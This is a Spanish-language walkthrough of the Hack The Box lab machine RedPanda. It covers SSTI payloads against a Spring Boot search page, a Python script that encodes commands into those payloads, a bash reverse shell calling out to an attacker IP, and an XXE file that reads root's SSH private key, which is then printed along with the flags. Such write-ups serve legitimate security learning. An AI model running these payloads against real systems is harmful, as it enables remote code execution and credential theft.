Inicio RedPanda
Entrada
Cancelar

RedPanda

RedPanda

Desktop View

Resolution summary

  • Text
  • Text

Improved skills

  • [[SSTI - Server Side Template Injection]]
  • skill 2

Used tools

  • nmap
  • mysql

Information Gathering

Scanned all TCP ports:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.207 -oG allPorts

Extract all ports:

1
extractPorts allPorts

Enumerated open ports:

1
nmap -sCV -p22,8080 10.129.227.207 -Pn -oN nmapRedPanda

Enumeration

Port 8080 - http-proxy

El Puerto 22 no tiene una version menor que la 7 por lo que no hay vulnerabilidad asi que vamos directamente al puerto 8080. Ponemos la url http://10.129.227.207:8080 Observamos una pagina con un buscador, si no introducimos nada nos muestra una foto, una tabla de autores de las fotos pero nada interesante. En el codigo fuente de la primera foto encontramos que usa la tecnología Sprint Boot, que es de Java, pero no encontramos ningún exploit para ello.

Aparte de eso, hemos probado varias inyecciones (inyección SQL, inyección XXE), pero no pudimos encontrar nada interesante.

Probamos entonces la SSTI - Server Side Template Injection podemos encontrar mas informacion en PayloadsAllTheThings-master/Server Side Template Injection/README

AL final consinste in probar distintos comandos a ver si realiza las operaciones, en unos casos funcionan unos, en otros otro. aqui probamos:

1
2
3
4
5
{{7*7}}
${7*7}
 <%= 7*7 %>
${{7*7}}
#{7*7}

Observamos que #{7*7} funciona y nos devuelve la multiplicación. Es mas podemos incluir distintos calculos ahí y nos devuelve el calculo final.

Desktop View

Desktop View

Por lo tanto es vulnerable. Buscamos mas a fondo en PayloadsAllTheThings-master/Server Side Template Injection/README

Como hemos dicho que usa la tecnologia Sprint Boot que es de java buscamos en la parte de Java Encontramos un comando para ver si ver /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

No funciona. SI no funciona tenemos que probar con #{...}, *{...}, @{...} o ~{...}. ANtes hemos visto que con # hemoes ejecutado algunos asi que probamos con eso.

1
#{T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

Desktop View

Obtenemos algo pero no lo que queremos, probamos con los siguintes y no termina de funcionar ninguno. Pero podemos probar el comando que viene justo debajo:

1
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Tampoco funciona, probamos con #, * , @ ... Y vemos que con * si que funciona:

1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Desktop View


Exploitation

Nombre por determinar

Si observamos el ultimo comando ejecutado va concatenando los caracteres dependiendo su valor utf 8 para asi ejecutar el comando. Nos podemos hacer un script (o buscarle en internet) que nos le haga el solo.

Como no tuvimos éxito con un shell inverso instantáneo, elegimos dividir la configuración en diferentes comandos y ejecutar cada comando por separado. (pipey && no está permitido)

Preparamos un shell inverso de TCP simple en el cuadro del atacante y lo alojamos a través del módulo de servidor web de Python.

1
2
#!/bin/bash
bash -c "bash -1 >& /dev/tcp/10.10.14.48/9001 0>&1"

Levantamos un server en python para asi copiar el archivo bash que nos da la [[Reverse shell]] y meterla en la maquina victima:

1
python3 -m http.server 8000

Y luego este codigo en python que es el que ejecuta el comando y lo traduce para el payload: Tambien podemos usar este programa: https://github.com/VikasVarshney/ssti-payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

def main():

        command = "curl 10.10.14.48:8000/shell.sh --output /tmp/shell.sh" # specify command 
        convert = []

        for x in command:
            convert.append(str(ord(x)))

        payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % convert[0]

        for i in convert[1:]:
            payload += ".concat(T(java.lang.Character).toString({}))".format(i)

        payload += ").getInputStream())}"

        print(payload)

if __name__ == "__main__":
    main()


Con esto nos saldra por pantalla el payload a ejecutar:

Desktop View Lo pegamos en el buscador de la pagina web y veremos en la pestaña donde tenemos alojado el server de python como se ha transferido el archivo correctamente.

Ahora levantamos un listener de netcat con:

1
nc -nlvp 9001

Y cambiamos el comando a ejecutar en el programa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

def main():

        command = "bash /tmp/shell.sh" # specify command 
        convert = []

        for x in command:
            convert.append(str(ord(x)))

        payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % convert[0]

        for i in convert[1:]:
            payload += ".concat(T(java.lang.Character).toString({}))".format(i)

        payload += ").getInputStream())}"

        print(payload)

if __name__ == "__main__":
    main()

Tambien podemos modificar el codigo para que el comando sea leido por input().

Tras ejecutarle, copiamos el resultado, lo pegamos en la web y ya tenemos en el listener de netcat la reverse shell.

Desktop View

Para mejorar la shell y poder hacer ctrl + C de una manera normal ponemos en la maquina victima:

1
script /dev/null -c bash

Después ponemos ctrl + Z Y escribimos:

1
stty raw -echo; fg

==Y ponemos reset xterm==

Ahora podemos cambiar las variables de entorno:

1
export TERM=xterm

y

1
export SHELL=/bin/bash

Tambien podemos adecuar el tamaño de la ventana ponemos

1
stty raw

En nuestro equipo y anotamos las filas y columnas y luego en la victima ponemos:

1
stty rows 44 columns 160

Privilege Escalation

Local Enumeration

Para analizar como podemos vulnerarlo le pasamos el programa linpeas. Recordemos: Despues la transferimos al sistema victima. para ello abrimos un server:

1
python3 -m http.server 4567

Y desde la victima hacemos un wget:

1
wget http://172.20.0.150:4567/linpeas.sh

Una vez lo tenemos descargado le damos permisos de ejecucion:

1
chmod 777 linpeas.sh

Y lo ejecutamos:

1
./linpeas.sh

Privilege Escalation vector - Polkit-Privilege-Esclation

Analizamos lo que nos dice el resultado de linpeas y vemos que nos indica que es vulnerable a CVE-2021-3560. Busquemos algun exploit. Tras probar con 2 exploits distintos no hemos conseguido nada. Probemos otra cosa.

Privilege Escalation vector

En la parte Processes, Crons, Timers, Services and Sockets podemos ver los procesos y encontramos que el servicio panda search esta en /opt/panda_search

Desktop View

Seguimos buscando y en Active Ports vemos que hauy un servidor mysql escuchando (listening) e el puerto 3306 y otro servicio en el 33060.

Desktop View

Exploramos el directorio panda_service en busca de posibles archivos de configuración: después de investigar un poco, nos topamos con MainController.java ubicado en: /opt/panda_search/src/main/java/com/panda_search/htb/panda_search

Y nos encontramos unas credenciales:

Desktop View

Asi que vamos a intentar conectarnos a ello con el sigueinte comando:

1
mysql -u woodenk -p -D red_panda
1
2
3
#-u es para usuario 
#-p para password
#-D para el nombre de la base de datos

Desktop View Una vez en mysql poenmos los siguientes comandos:

show databases;
use red_pandas;
show tables;
SELECT * from pandas;

Pero no obtenemos nada interesante con esto, vayamos a por otra cosa.

Si miramos con pspy tareas del sistema, vemos que root corre un script como woodenk

Para ello tenemos que tener pspy en nuestro equipo y pasarselo al otro abriendo server en python y con wget.

Al ejecutarlo obtenemos:

Desktop View Eso significa que root corre un script como woodenk. Revisando de nuevo el archivo donde encontramos credenciales vemos como exporta el xml

Desktop View

Además en otro archivo App.java podemos ver como maneja la metadata. Ahi también encontramos dónde está el código fuente de la aplicación web, que es App.java

Desktop View

Lea y comprenda cómo se procesan los archivos jpg y xml. Lee el artista y lo toma como una entrada de nombre de usuario, luego lee el registro de un uri y lo compara con el uri en el archivo xml correspondiente. Si todo coincide, entonces actualiza el archivo xml.

Pero además en el archivo nos muestra como maneja el User-Agent

Desktop View

Mirando esta configuración podemos inyectar en el campo “Artist”, una ruta donde estará el xml, esto en una imagen cualquiera que despues subiremos a la máquina

Entonces, potencialmente, podemos engañar al analizador para que procese un archivo xml e incluya el id_rsa del usuario raíz en él.

Preparamos dos archivos, cualquier jpg y un archivo xml. Aquí hay un truco que puedes leer sobre el exploit: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

Desde nuestra maquina podemos obtener la imagen jpg asi:

1
wget "https://avatars.githubusercontent.com/u/95899548?v=4"

Luego continuamos asi:

1
mv 95899548\?v=4 gato.jpg
1
exiftool -Artist="../home/woodenk/privesc" gato.jpg
1
scp gato.jpg woodenk@10.129.227.207:.

Desktop View

A continuación crearemos en el home un archivo xml que apunte a la id_rsa de root, esto con el nombre definido en la imagen más _creds.xml que es lo suma el archivo que encontramos

1
nano privesc_creds.xml

Pegamos y guardamos esto:

1
2
3
4
5
6
7
8
9
10
11
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/gato.jpg</uri>
    <privesc>&key;</privesc>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

Ahora nos queda hacer una petición curl con el formato que vimos en el archivo como User-Agent

Desde nuestra maquina:

1
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/gato.jpg"

Finalmente exportar el xml desde la web de /stats para que tome nuestro archivo

Desktop View

Después de unos segundos si revisamos el xml tendra la id_rsa de root

Desde la maquina de la victima hacemos:

1
cat privesc_creds.xml

Desktop View

Con esta pequeña id_rsa podemos finalmente conectarnos por ssh y visualizar la flag

Copiamos la id_rsa:

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----

La guardamos como id_rsa en nuestro equipo y la cambiamos los permisos:

1
sudo chmod 600 id_rsa

Seguidamente ejecutamos la [[SSH]]

1
ssh root@10.129.227.207 -i id_rsa

Y ya tenemos acceso al root!

Desktop View


Trophy & Loot

user.txt ==23628eba142d94b9c62a9014e283cdfa== root.txt ==42fb89cc3147f88618f4322ea00abf1f==

Esta entrada está licenciada bajo CC BY 4.0 por el autor.